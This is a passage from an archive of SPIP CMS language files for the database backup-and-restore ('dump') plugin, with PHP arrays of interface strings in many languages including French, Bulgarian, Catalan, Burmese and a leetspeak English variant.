$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Memulihkan database',
// I
'info_restauration_sauvegarde' => 'memulihkan backup @archive@', # MODIF
'info_sauvegarde' => 'Backup',
'info_sauvegarde_reussi_02' => 'Database telah berhasil disimpan di @archive@. Anda dapat',
'info_sauvegarde_reussi_03' => 'kembali ke manajemen',
'info_sauvegarde_reussi_04' => 'situs anda.',
// T
'texte_admin_tech_01' => 'Opsi ini mengizinkan anda untuk menyimpan isi database ke dalam sebuah berkas di direktori @dossier@. Juga, mengingatkan anda untuk mengambil seluruh direktori @img@, yang berisikan gambar-gambar dan dokumen-dokumen yang digunakan dalam artikel dan bagian.',
'texte_admin_tech_02' => 'Peringatan: backup ini HANYA dapat dipulihkan dalam sebuah situs yang diinstal dalam versi yang sama dengan SPIP. Anda seharusnya tidak mengosongkan database dan diharapkan menginstal kembali backup setelah pembaharuan... Untuk informasi lebih lanjut silakan membaca <a href="@spipnet@">dokumentasi SPIP</a>.', # MODIF
'texte_restaurer_base' => 'Pulihkan isi backup database',
'texte_restaurer_sauvegarde' => 'Opsi ini mengizinkan anda untuk memulihkan backup database
sebelumnya. Untuk melakukannya, berkas yang berisikan backup harus disimpan di
direktori @dossier@.
Berhati-hatilah dengan fitur ini: <b>Setiap modifikasi atau kerusakan tidak
dapat dipulihkan kembali.</b>', # MODIF
'texte_sauvegarde' => 'Backup isi database',
'texte_sauvegarde_base' => 'Backup database'
);
?>
dump_br.php 0000666 00000003435 15252540315 0006720 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Assevel an diaz',
// I
'info_restauration_sauvegarde' => 'Assevel ar restr savete @archive@',
'info_sauvegarde' => 'Saveteiñ',
'info_sauvegarde_reussi_02' => 'Enrollet eo bet an diaz titouroù e @archive@. Gallout a rit',
'info_sauvegarde_reussi_03' => 'distreiñ da verañ',
'info_sauvegarde_reussi_04' => 'ho lec’hienn.',
// T
'texte_admin_tech_01' => 'Gant an dibarzh-mañ e c’hellit saveteiñ endalc’had an diaz titouroù en ur restr a vo stoket e @dossier@. N’ankouait ket kennebeut da adtapout hollad ar c’havlec’h @img@ hag a zo ennañ ar skeudennoù hag an teulioù implijet er pennadoù hag er rubrikennoù.',
'texte_admin_tech_02' => 'Diwallit : n’hallo ar savete-mañ bezañ assavet nemet en ul lec’hienn staliet gant an hevelep stumm eus SPIP. Arabat neuze « goullonderiñ an diaz » en ur soñjal adstaliañ ar savete ur wech bet hizivaet SPIP... Sellit ouzh <a href="@spipnet@">teulioù skoazell SPIP</a>.', # MODIF
'texte_restaurer_base' => 'Assevel endalc’had ur savete eus an diaz titouroù',
'texte_restaurer_sauvegarde' => 'Gant an dibarzh-mañ e c’hellit assevel ur skouerenn eus an diaz bet saveteet ganeoc’h en a-raok.
Evit hen ober e rank ar restr savete bezañ bet lakaet er c’havlec’h @dossier@.
Diwallit gant an arc’hwel-mañ, n’haller ket mont war-gil ma vez diverket pe gwallgaset tra pe dra.</b>', # MODIF
'texte_sauvegarde' => 'Saveteiñ endalc’had an diaz',
'texte_sauvegarde_base' => 'Saveteiñ an diaz'
);
?>
dump_fi.php 0000666 00000002237 15252540315 0006712 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=fi
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Palauta tietokanta',
// I
'info_restauration_sauvegarde' => 'varmistuskopion @archive@ palautus', # MODIF
'info_sauvegarde' => 'Varmistuskopio',
'info_sauvegarde_reussi_02' => 'Tietokanta on tallennettu osoitteseen @archive@. Voit', # MODIF
'info_sauvegarde_reussi_03' => 'palata sivustosi',
'info_sauvegarde_reussi_04' => 'hallintaan.',
// T
'texte_admin_tech_02' => 'Warning: this backup can ONLY be restored in a site installed under the same version of SPIP. You should certainly not "empty the database" and expect to re-install the backup after the upgrade... For more information refer to <a href="@spipnet@">SPIP documentation</a>.', # MODIF
'texte_restaurer_base' => 'Palauta tietokanta-varmistuksen sisältö',
'texte_sauvegarde' => 'Varmistuskopioi tietokannan sisältö',
'texte_sauvegarde_base' => 'Varmistuskopioi tietokanta'
);
?>
dump_fon.php 0000666 00000002526 15252540315 0007077 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=fon
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Mi lɛ vɔ xokplé blo',
// I
'info_restauration_sauvegarde' => 'Mi lɛ vɔ wlíhɛn bló @archive@', # MODIF
'info_sauvegarde' => 'wlíhɛn',
'info_sauvegarde_reussi_02' => 'Yé wlí xóxókplé ɔ ɖó Winwlán sín gbàvímɛ /xóxókplé/@archive@. Mì síwú',
'info_sauvegarde_reussi_03' => 'Mi lɛ vɔ yì tìtòmɛ ɔ jí',
'info_sauvegarde_reussi_04' => 'Gblogblojí mì tɔn.',
// T
'texte_admin_tech_01' => 'mi ná sɔ mɔ àlì gégé.',
'texte_admin_tech_02' => 'mi ná sɔ mɔ àlì gégé... ', # MODIF
'texte_restaurer_base' => 'mi lɛ xòmɛ ɔ wlíhɛn',
'texte_restaurer_sauvegarde' => 'mi lɛ xòmɛ ɔ wlíhɛn E zɛ kwín àtɔn wúàcɛ yé nɔ ná nɔ jɛɖóNú mi wlán wěmà mi tɔn fó ɔ mi síwú sɔɖó àtɛ jí Wàlɔtɛ sùpípù kàsíwú bló wémà ɖê jló ná sɔɖó àtɛ jí hwè ɖé vó nú ɔMi wɔn wékpá ɖòkpó sín àkɔwúntà bló mi ɖè.', # MODIF
'texte_sauvegarde' => 'mi lɛ xòmɛ ɔ wlíhɛn',
'texte_sauvegarde_base' => 'mi wlí xòxòk plé ɔ hɛn'
);
?>
dump_ay.php 0000666 00000000540 15252540315 0006720 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=ay
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Yatqallta askichaña'
);
?>
paquet-dump_lb.php 0000666 00000000706 15252540315 0010205 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=lb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dump_description' => 'Backup vun der Datebank als SQLite an Zeréckspillen',
'dump_slogan' => 'Backup an Zeréckspillen vun der SPIP-Datebank'
);
?>
dump_bg.php 0000666 00000005034 15252540315 0006702 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=bg
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Възстановяване на базата данни',
// I
'info_restauration_sauvegarde' => 'възстановяване на архива @archive@', # MODIF
'info_sauvegarde' => 'Архивиране (backup)',
'info_sauvegarde_reussi_02' => 'Базата данни беше запазена в @archive@. Можете да',
'info_sauvegarde_reussi_03' => 'се върнете към управлението ',
'info_sauvegarde_reussi_04' => 'на сайта.',
// T
'texte_admin_tech_01' => 'Тази опция позволява запазване насъдържанието от базата данни във файл от директорията @dossier@.Не забравяйте да обновите и цялата @img@ директория, която съдържаизображенията и документите, използвани в статиите и рубриките.',
'texte_admin_tech_02' => 'Предупреждение: този архив може да бъде възстановяван САМО в сайт, който има същата версия на СПИП. Не изпразвайте базата данни, защото при актуализация на версията, архивът няма да се преинсталира. За повече информация, посетете <a href="@spipnet@">документацията на СПИП</a>.', # MODIF
'texte_restaurer_base' => 'Възстановяване съдържанието на архива на базата данни',
'texte_restaurer_sauvegarde' => 'Тази опция позволява да се възстанови предишния
архив на базата данни. За да се направи това, файлът, който съдържа този архив е съхранен в
директория @dossier@.
Внимавайте с това свойство: <b>Всички потенциални промени или загуби ще бъдат
необратими.</b>', # MODIF
'texte_sauvegarde' => 'Архивиране съдържанието на базата данни',
'texte_sauvegarde_base' => 'Архивиране на базата данни'
);
?>
paquet-dump_ru.php 0000666 00000000664 15252540315 0010241 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=ru
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dump_description' => 'Резервная копия в SQLite',
'dump_slogan' => 'Резервное копирование'
);
?>
dump_fr.php 0000666 00000007722 15252540315 0006727 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://zone.spip.org/spip-zone/_core_/plugins/dump/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucune_donnee' => 'vide',
'avis_probleme_ecriture_fichier' => 'Problème d’écriture du fichier @fichier@',
// B
'bouton_restaurer_base' => 'Restaurer la base',
// C
'confirmer_ecraser_base' => 'Oui, je veux écraser ma base avec cette sauvegarde',
'confirmer_ecraser_tables_selection' => 'Oui, je veux écraser les tables sélectionnées avec cette sauvegarde',
// D
'details_sauvegarde' => 'Détails de la sauvegarde :',
// E
'erreur_aucune_donnee_restauree' => 'Aucune donnée restaurée',
'erreur_connect_dump' => 'Un serveur nommé « @dump@ » existe déjà. Renommez-le.',
'erreur_creation_base_sqlite' => 'Impossible de créer une base SQLite pour la sauvegarde',
'erreur_nom_fichier' => 'Ce nom de fichier n’est pas autorisé',
'erreur_restaurer_verifiez' => 'Corrigez l’erreur pour pouvoir restaurer.',
'erreur_sauvegarde_deja_en_cours' => 'Vous avez déjà une sauvegarde en cours',
'erreur_sqlite_indisponible' => 'Impossible de faire une sauvegarde SQLite sur votre hébergement',
'erreur_table_absente' => 'Table @table@ absente',
'erreur_table_donnees_manquantes' => 'Table @table@, données manquantes',
'erreur_taille_sauvegarde' => 'La sauvegarde semble avoir échoué. Le fichier @fichier@ est vide ou absent.',
// I
'info_aucune_sauvegarde_trouvee' => 'Aucune sauvegarde trouvée',
'info_restauration_finie' => 'C’est fini !. La sauvegarde @archive@ a été restaurée dans votre site. Vous pouvez',
'info_restauration_sauvegarde' => 'Restauration de la sauvegarde @archive@',
'info_sauvegarde' => 'Sauvegarde',
'info_sauvegarde_reussi_02' => 'La base a été sauvegardée dans @archive@. Vous pouvez',
'info_sauvegarde_reussi_03' => 'retourner à la gestion',
'info_sauvegarde_reussi_04' => 'de votre site.',
'info_selection_sauvegarde' => 'Vous avez choisi de restaurer la sauvegarde @fichier@. Cette opération est irréversible.',
// L
'label_nom_fichier_restaurer' => 'Ou indiquez le nom du fichier à restaurer',
'label_nom_fichier_sauvegarde' => 'Nom du fichier pour la sauvegarde',
'label_selectionnez_fichier' => 'Sélectionnez un fichier dans la liste',
// N
'nb_donnees' => '@nb@ enregistrements',
// R
'restauration_en_cours' => 'Restauration en cours',
// S
'sauvegarde_en_cours' => 'Sauvegarde en cours',
'sauvegardes_existantes' => 'Sauvegardes existantes',
'selectionnez_table_a_restaurer' => 'Sélectionnez les tables à restaurer',
// T
'texte_admin_tech_01' => 'Cette option vous permet de sauvegarder le contenu de la base dans un fichier qui sera stocké dans le répertoire @dossier@. N’oubliez pas également de récupérer l’intégralité du répertoire @img@, qui contient les images et les documents utilisés dans les articles et les rubriques.',
'texte_admin_tech_02' => 'Attention : cette sauvegarde ne pourra être restaurée QUE dans un site installé sous la même version de SPIP. Il ne faut donc surtout pas « vider la base » en espérant réinstaller la sauvegarde après une mise à jour… Consultez <a href="@spipnet@">la documentation de SPIP</a>.',
'texte_restaurer_base' => 'Restaurer le contenu d’une sauvegarde de la base',
'texte_restaurer_sauvegarde' => 'Cette option vous permet de restaurer une sauvegarde précédemment
effectuée de la base. À cet effet, le fichier contenant la sauvegarde doit avoir été
placé dans le répertoire @dossier@.
Soyez prudent avec cette fonctionnalité : <b>les modifications, pertes éventuelles, sont
irréversibles.</b>',
'texte_sauvegarde' => 'Sauvegarder le contenu de la base',
'texte_sauvegarde_base' => 'Sauvegarder la base',
'tout_restaurer' => 'Restaurer toutes les tables',
'tout_sauvegarder' => 'Sauvegarder toutes les tables',
// U
'une_donnee' => '1 enregistrement'
);
?>
dump_oc_lms.php 0000666 00000003510 15252540315 0007563 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=oc_lms
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Restaurar la basa',
// I
'info_restauration_sauvegarde' => 'restauracion de la sauvagarda @archive@', # MODIF
'info_sauvegarde' => 'Sauvagarda',
'info_sauvegarde_reussi_02' => 'La basa es estada sauvagardada dins @archive@. Podetz',
'info_sauvegarde_reussi_03' => 'tornar a la gestion',
'info_sauvegarde_reussi_04' => 'de vòstre sit.',
// T
'texte_admin_tech_01' => 'Quela opcion vos permet de sauvagardar lo contengut de la basa dins un fichier que será servat dins lo repertòri @dossier@.
Oblidetz pas tanpauc de recuperar l’integralitat dau repertòri <i>IMG/</i>, que conten los imatges e los documents utilizats dins los articles e rubricas.',
'texte_admin_tech_02' => 'Atencion: quela sauvagarda se poirá restaurar
SOLAMENT dins un sit installat emb la mesma version d’SPIP. Donc subretot chau pas "voidar la basa" en esperar de reïnstallar la sauvagarda après una actualizacion. Consultatz <a href="@spipnet@">la documentacion d’SPIP</a>.', # MODIF
'texte_restaurer_base' => 'Restaurar lo contengut d’una sauvagarda de la basa',
'texte_restaurer_sauvegarde' => 'Quela opcion vos permet de restaurar una sauvagarda
de la basa que l’aviatz facha avans. Per quò faire, chau aver botat lo fichier que conten la sauvagarda
dins lo repertòri @dossier@.
Pasmens, siatz prudent(a) emb quela foncionalitat: <b>las modificacions e perdas eventualas son
irreversiblas.</b>', # MODIF
'texte_sauvegarde' => 'Sauvagardar lo contengut de la basa',
'texte_sauvegarde_base' => 'Sauvagardar la basa'
);
?>
dump_ro.php 0000666 00000003647 15252540315 0006742 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=ro
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Restauraţi baza de date',
// I
'info_restauration_sauvegarde' => 'Restaurarea salvării @archive@',
'info_sauvegarde' => 'Salvare',
'info_sauvegarde_reussi_02' => 'Baza de date a fost salvată în @archive@. Puteţi',
'info_sauvegarde_reussi_03' => ' să vă întoarceţi la gestionarea',
'info_sauvegarde_reussi_04' => ' site-ului dumneavoastră.',
// T
'texte_admin_tech_01' => 'Această opţiune vă permite să salvaţi conţinutul bazei de date intr-un fişier care va fi pus în directorul @dossier@. Nu uitaţi, de asemenea, să recuperaţi directorul @img@ în integralitatea lui - acesta conţine imaginile şi documentele folosite în articole şi rubrici.',
'texte_admin_tech_02' => 'Atenţie: această salvare nu va putea fi restaurată DECÂT pe un site instalat folosind aceeaşi versiune de SPIP. Mai ales, nu trebuie sa « goliţi baza de date » sperând că, după o aducere la zi... veţi putea reinstala ceea ce aţi salvat ... Consultaţi <a href="@spipnet@">documentaţia SPIP</a>.', # MODIF
'texte_restaurer_base' => 'Restauraţi conţinutul bazei de date plecând de la o salvare',
'texte_restaurer_sauvegarde' => 'Această opţiune vă permite să restauraţi o copie de siguranţă a bazei de date pe care aţi făcut-o anterior. Pentru aceasta vă rugăm să vă asiguraţi ca fişierul de copie de siguranţă
se află în directorul @dossier@.
Fiţi prudent cu această funcţionalitate : <b>modificările, pierderile eventuale, sunt
ireversibile.</b>', # MODIF
'texte_sauvegarde' => 'Salvaţi conţinutul bazei de date',
'texte_sauvegarde_base' => 'Salvaţi baza de date'
);
?>
dump_en_hx.php 0000666 00000003431 15252540315 0007412 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=en_hx
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'R3570r3 7h3 d474b453',
// I
'info_restauration_sauvegarde' => 'r3570r1ng 7h3 b4ckup @archive@', # MODIF
'info_sauvegarde' => 'B4ckup',
'info_sauvegarde_reussi_02' => '7h3 d474b453 h45 b33n 54v3d 1n <b>3cr1r3/d474/@archive@</b>. Y0u c4n',
'info_sauvegarde_reussi_03' => 'r37urn 70 7h3 m4n4g3m3n7',
'info_sauvegarde_reussi_04' => '0f y0ur 5173.',
// T
'texte_admin_tech_01' => '7h15 0p710n 4110w5 y0u 70 54v3
7h3 c0n73n7 0f 7h3 d474b453 1n 4 f113 570r3d 1n 7h3 d1r3c70ry <1>3cr1r3/d474/</1>.
4150 r3m3mb3r 70 r37r13v3 7h3 wh013 <1>1MG/</1>, d1r3c70ry, wh1ch c0n741n5
7h3 1m4g35 4nd 7h3 d0cum3n75 u53d 1n 7h3 4r71c135 4nd 53c710n5.',
'texte_admin_tech_02' => 'W4rn1ng: 7h15 b4ckup c4n 0N1Y b3 r3570r3d 1n 4 5173 1n574113d und3r 7h3 54m3 v3r510n 0f 5P1P. Y0u 5h0u1d c3r741n1y n07 "3mp7y 7h3 d474b453" 4nd 3xp3c7 70 r3-1n57411 7h3 b4ckup 4f73r 7h3 upgr4d3... F0r m0r3 1nf0rm4710n r3f3r 70 <4 hr3f=’h77p://www.5p1p.n37/3n_4r71c132428.h7m1’>5P1P d0cum3n74710n</4>.', # MODIF
'texte_restaurer_base' => 'R3570r3 7h3 c0n73n7 0f 7h3 d474b453 b4ckup',
'texte_restaurer_sauvegarde' => '7h15 0p710n 4110w5 y0u 70 r3570r3 4 pr3v10u5
b4ckup 0f 7h3 d474b453. 70 4ch13v3 7h15, 7h3 f113 c0n741n1ng 7h3 b4ckup 5h0u1d h4v3 b33n
570r3d 1n 7h3 d1r3c70ry <1>3cr1r3/d474/</1>.
B3 c4r3fu1 w17h 7h15 f347ur3: <b>4ny p073n7141 m0d1f1c4710n5 0r 105535 4r3
1rr3v3r51b13.</b>', # MODIF
'texte_sauvegarde' => 'B4ckup 7h3 c0n73n7 0f 7h3 d474b453',
'texte_sauvegarde_base' => 'B4ckup 7h3 d474b453'
);
?>
dump_oc_lnc.php 0000666 00000003514 15252540315 0007550 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=oc_lnc
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Restaurar la basa',
// I
'info_restauration_sauvegarde' => 'restauracion de la salvagarda @archive@', # MODIF
'info_sauvegarde' => 'Salvagarda',
'info_sauvegarde_reussi_02' => 'La basa es estada salvagardada dins @archive@. Podètz',
'info_sauvegarde_reussi_03' => 'tornar a la gestion',
'info_sauvegarde_reussi_04' => ' de vòstre sit.',
// T
'texte_admin_tech_01' => 'Aquela opcion vos permet de salvagardar lo contengut de la basa dins un fichièr que serà servat dins lo repertòri @dossier@.Oblidetz pas tanpauc de recuperar l’integralitat del repertòri @img@, que conten los imatges e los documents utilizats dins los articles e rubricas.',
'texte_admin_tech_02' => 'Atencion: aquela salvagarda se poirà restaurar SONQUE dins un sit installat amb la meteissa version d’SPIP. Donc subretot cal pas "voidar la basa" en esperar de reïnstallar la salvagarda après una actualizacion. Consultatz <a href="@spipnet@">la documentacion d’SPIP</a>.', # MODIF
'texte_restaurer_base' => 'Restaurar lo contengut d’una salvagarda de la basa',
'texte_restaurer_sauvegarde' => 'Aquela opcion vos permet de restaurar una salvagarda
de la basa que l’aviatz facha abans. Per aquò faire, cal aver botat lo fichièr que conten la salvagarda
dins lo repertòri @dossier@.
Ça que la, siatz prudent(a) amb aquela foncionalitat: <b>las modificacions e pèrdas eventualas son
irreversiblas.</b>', # MODIF
'texte_sauvegarde' => 'Salvagardar lo contengut de la basa',
'texte_sauvegarde_base' => 'Salvagardar la basa'
);
?>
paquet-dump_fa.php 0000666 00000001027 15252540315 0010173 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=fa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dump_description' => 'بكآپ و ذخيرهسازي پايگاه دادهها در فرمت اس.كيو.لايت',
'dump_slogan' => 'بكآپ و ذخيره سازي پايگاه دادههاي اسپيپ'
);
?>
dump_co.php 0000666 00000003566 15252540315 0006723 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=co
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Riparà a basa di dati',
// I
'info_restauration_sauvegarde' => 'Ricuperazione di a copia @archive@',
'info_sauvegarde' => 'Salvamentu',
'info_sauvegarde_reussi_02' => 'A basa di dati hè stata salva in @archive@. Pudete ',
'info_sauvegarde_reussi_03' => 'turnà à a gestione',
'info_sauvegarde_reussi_04' => 'di u vostru situ.',
// T
'texte_admin_tech_01' => 'St’opzione vi permette di salvà u cuntenutu di a basa di dati in un schedariu chì serà tenutu in u cartulare @dossier@.
Ùn vi scurdate dinò di ricuarà u cartulare @img@ sanu sanu, chì cuntene l’imàgini è i ducumenti usati in l’artìculi è in e rùbbriche.',
'texte_admin_tech_02' => 'Attenti : sta copia di salvezza puderà esse ricuperata SOLU in un situ stallatu cù listessa versione di SPIP.
In partìculare ùn ci vole mancu appena sguassà a basa di dati pensendu di ricuperà sta copia di salvezza dopu qualchì aghjurnumentu di SPIP ...
Per sapè ne di più, cunsultate puru <a href="http://www.spip.net/fr_article1489.html">a ducumentazione di SPIP</a>.', # MODIF
'texte_restaurer_base' => 'Ricuperà una copia di salvezza di a basa di dati',
'texte_restaurer_sauvegarde' => 'Sta scelta vi permette di ricuperà una copia di a basa di dati fatta in passatu. Per quessa, u schedariu chì cuntene sta copia
deve esse statu piazzatu in u cartulare @dossier@. Ma fate puru casu : <b>e mudìfiche o pussìbule pèrdite ùn si ponu più ricuarà.</b>', # MODIF
'texte_sauvegarde' => 'Salvà u cuntenutu di a basa di dati',
'texte_sauvegarde_base' => 'Salvà a basa di dati'
);
?>
dump_ca.php 0000666 00000003604 15252540315 0006676 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=ca
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Restaurar la base',
// I
'info_restauration_sauvegarde' => 'Restauració de la còpia de seguretat @archive@',
'info_sauvegarde' => 'Còpia de seguretat',
'info_sauvegarde_reussi_02' => 'La base de dades s’ha desat a @archive@. Podeu',
'info_sauvegarde_reussi_03' => 'tornar a la gestió',
'info_sauvegarde_reussi_04' => 'del vostre lloc.',
// T
'texte_admin_tech_01' => 'Aquesta opció us permet desar el contigut de la base en un fitxer que serà guardat al directori @dossier@. No oblideu, igualment, recuperar la totalitat del directori @img@, que conté les imatges i els documents utilitzats en els articles i les seccions.',
'texte_admin_tech_02' => 'Atenció: aquesta còpia de seguretat NOMÉS podrà ser restaurada en un lloc Web que estigui instal·lat en la mateixa versió d’SPIP. Per tant, cal sobretot no « buidar la base » esperant reinstal·lar la còpia de seguretat després de l’actualització... Consulteu per més detalls <a href="@spipnet@">la documentació d’SPIP</a>.', # MODIF
'texte_restaurer_base' => 'Restaurar el contingut d’una còpia de seguretat de la base',
'texte_restaurer_sauvegarde' => 'Aquesta opció permet restaurar una còpia de seguretat de la base de dades realitzada anteriorment. Per tal que així sigui, el fitxer que conté la còpia de seguretat s’ha d’haver situat dins del directori @dossier@.
Sigueu prudents amb aquesta funcionalitat: <b>les modificacions o pèrdues eventuals són irreversibles.</b>', # MODIF
'texte_sauvegarde' => 'Desar el contigut de la base',
'texte_sauvegarde_base' => 'Desar la base'
);
?>
dump_my.php 0000666 00000007606 15252540315 0006746 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=my
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'သိုလောင်မှု ပြန်ထည့်သွင်းရန်',
// I
'info_restauration_sauvegarde' => 'အရံသိမ်းထားသော@archive@ကို ပြန်လည်ဖော်ထုတ်ပါ', # MODIF
'info_sauvegarde' => 'အရံသိမ်းဆည်းပါ',
'info_sauvegarde_reussi_02' => 'အချက်လက်သိုလှောင်မှုကို @archive@တွင်သင်သိမ်းနိုင်သည်',
'info_sauvegarde_reussi_03' => 'စီမံခန့်ခွဲမှုကို ပြန်သွားပါ',
'info_sauvegarde_reussi_04' => 'သင့်ဝက်ဘ်ဆိုက်၏',
// T
'texte_admin_tech_01' => 'ဤရွေးချယ်မှုသည် လမ်းညွှန်မှု@dossier@ ထဲတွင် သိုလှောင်မည့် ဖိုင်များကို ရွေးချယ်ပေးပါမည်။ အခန်းကဏ္ဍများနှင့် ဆောင်းပါးများတွင် အသုံးပြုသော ပုံများနှင့် စာရွက်စာတမ်းများ ပါဝင်သော @img@၊ လမ်းညွှန်မှုများကို ပြန်လည်ရရှိအောင် လုပ်ရန်လည်း မမေ့ပါနှင့်။',
'texte_admin_tech_02' => 'သတိပေးချက်။ ဤအရံသိမ်းဆည်းထားမှုကို မူကွဲတူသော SPIP အောက်တွင်သာ ပြန်လည်ထည့်သွင်း၍ ရနိုင်မည်။ သိုလှောင်မှုကို ဖျက်ပစ်ခြင်း လုံးဝလုံးဝ မပြုလုပ်သင့်ပါ အဘယ့်ကြောင့်ဆိုသော် မြှင့်တင်မှုပြုပြီးရင် အရံသိမ်းဆည်းထားသော သိုလှောင်မှုကို ပြန်လည်ထည့်သွင်းရန် လိုအပ်နိုင်သည်။ ပိုမိုသိရှိနိုင်ရန် <a href="@spipnet@">SPIP စာရွက်စာတမ်းများ</a> ကိုလာလည်ပါ။', # MODIF
'texte_restaurer_base' => 'အရံသိမ်းထားသော အချက်အလက်များကို ပြန်လည်ဖော်ထုတ်ပါ',
'texte_restaurer_sauvegarde' => 'ဤရွေးချယ်မှုသည် အရံသိမ်းဆည်းထားသော သိုလှောင်မှုကို ပြန်လည်ထည့်သွင်းနိုင်ရန်ဖြစ်သည်။ ဤသို့လုပ်ဆောင်နိုင်ရန် အရံသိမ်းဆည်းမှုကို @dossier@ အညွှန်းထဲတွင် ရှိမှဖြစ်မည်။ ဒီလုပ်ဆောင်မှုကို အထူးသတိပြုပါ။ <b>လုပ်ဆောင်မှုအမှား တစုံတရာ ရှိခဲ့ရင် ပြန်လည်ပြူပြင်၍ မရတော့ပါဘူး။</b>', # MODIF
'texte_sauvegarde' => 'အချက်လက်သိုလှောင်မှုအကြောင်ရာများကို အရံသိမ်းဆည်းထားပါ',
'texte_sauvegarde_base' => 'အချက်လက်သိုလှောင်မှုကို အရံသိမ်းထားပါ'
);
?>
dump_pl.php 0000666 00000003426 15252540315 0006730 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=pl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Przywróć bazę danych',
// I
'info_restauration_sauvegarde' => 'odtworzenie zapisanego pliku @archive@', # MODIF
'info_sauvegarde' => 'Backup',
'info_sauvegarde_reussi_02' => '<Baza danych została zapisana w @archive@. Możesz',
'info_sauvegarde_reussi_03' => 'powrót do zarządzania',
'info_sauvegarde_reussi_04' => 'Twojej strony.',
// T
'texte_admin_tech_01' => 'Ta opcja pozwala Ci zapisać zawartość bazy danych w pliku, który zostanie zachowany w katalogu @dossier@. Pamiętaj także o skopiowaniu całego katalogu @img@, który zawiera obrazki i dokumenty używane w artykułach i działach.',
'texte_admin_tech_02' => 'Uwaga: tą kopię bezpieczeństwa będzie można odtworzyć
